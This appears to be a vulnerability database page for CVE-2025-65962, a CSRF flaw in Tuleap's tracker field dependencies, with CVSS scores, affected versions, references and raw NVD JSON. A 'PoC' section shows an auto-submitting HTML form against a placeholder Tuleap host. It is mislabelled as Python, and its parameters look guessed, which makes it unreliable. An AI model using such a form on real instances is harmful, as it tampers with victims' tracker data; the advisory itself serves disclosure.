CVE-2025-65962

Description

Tuleap is a free and open source suite for management of software development and collaboration. Versions of Tuleap Community Edition prior to 17.0.99.1763803709 and Tuleap Enterprise Edition versions prior to 17.0-4 and 16.13-9 are mission CSRF protections in its tracker field dependencies, allowing attackers to modify tracker fields. This issue is fixed in Tuleap Community Edition version 17.0.99.1763803709 and Tuleap Enterprise Edition versions 17.0-4 and 16.13-9.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:* - VULNERABLE

cpe:2.3:a:enalean:tuleap:*:*:*:*:community:*:*:* - VULNERABLE

cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:* - VULNERABLE

Tuleap Community Edition < 17.0.99.1763803709

Tuleap Enterprise Edition < 17.0-4

Tuleap Enterprise Edition < 16.13-9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-65962 - Tuleap Tracker Field Dependencies -->
<!-- This PoC demonstrates how an attacker can modify tracker field dependencies -->
<!DOCTYPE html>
<html>
<head>
    <title>Tracker Update</title>
</head>
<body>
    <h1>Please wait...</h1>
    <form id="csrf_form" action="https://target-tuleap.com/plugins/tracker/?aid=45632" method="POST">
        <input type="hidden" name="field_id" value="123">
        <input type="hidden" name="dependency_field_id" value="456">
        <input type="hidden" name="action" value="update_dependency">
        <input type="hidden" name="csrf_token" value="">
    </form>
    <script>
        // Auto-submit form on page load
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65962
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65962
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65962/
[4] VulDB https://vuldb.com/cve/CVE-2025-65962
[5] https://github.com/Enalean/tuleap/commit/26678c5b411042e68964b199bf88a44607550633
[6] https://github.com/Enalean/tuleap/security/advisories/GHSA-9hgc-cm68-rrgc
[7] https://tuleap.net/plugins/git/tuleap/tuleap/stable?a=commit&h=26678c5b411042e68964b199bf88a44607550633
[8] https://tuleap.net/plugins/tracker/?aid=45632

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65962", "sourceIdentifier": "[email protected]", "published": "2025-12-09T00:15:48.167", "lastModified": "2025-12-10T23:49:59.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tuleap is a free and open source suite for management of software development and collaboration. Versions of Tuleap Community Edition prior to 17.0.99.1763803709 and Tuleap Enterprise Edition versions prior to 17.0-4 and 16.13-9 are mission CSRF protections in its tracker field dependencies, allowing attackers to modify tracker fields. This issue is fixed in Tuleap Community Edition version 17.0.99.1763803709 and Tuleap Enterprise Edition versions 17.0-4 and 16.13-9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:*", "versionEndExcluding": "16.13-9", "matchCriteriaId": "89250CD0-B5AF-42F9-BCA2-C775F8DF9432"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:community:*:*:*", "versionEndExcluding": "17.0.99.1763803709", "matchCriteriaId": "3483B0B4-7A88-4177-8E59-AE909073E03F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:enalean:tuleap:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "17.0", "versionEndExcluding": "17.0-4", "matchCriteriaId": "CD82933E-C27A-4D9E-9BE9-CAB37845BF8B"}]}]}], "references": [{"url": "https://github.com/Enalean/tuleap/commit/26678c5b411042e68964b199bf88a44607550633", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Enalean/tuleap/security/advisories/GHSA-9hgc-cm68-rrgc", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://tuleap.net/plugins/git/tuleap/tuleap/stable?a=commit&h=26678c5b411042e68964b199bf88a44607550633", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://tuleap.net/plugins/tracker/?aid=45632", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}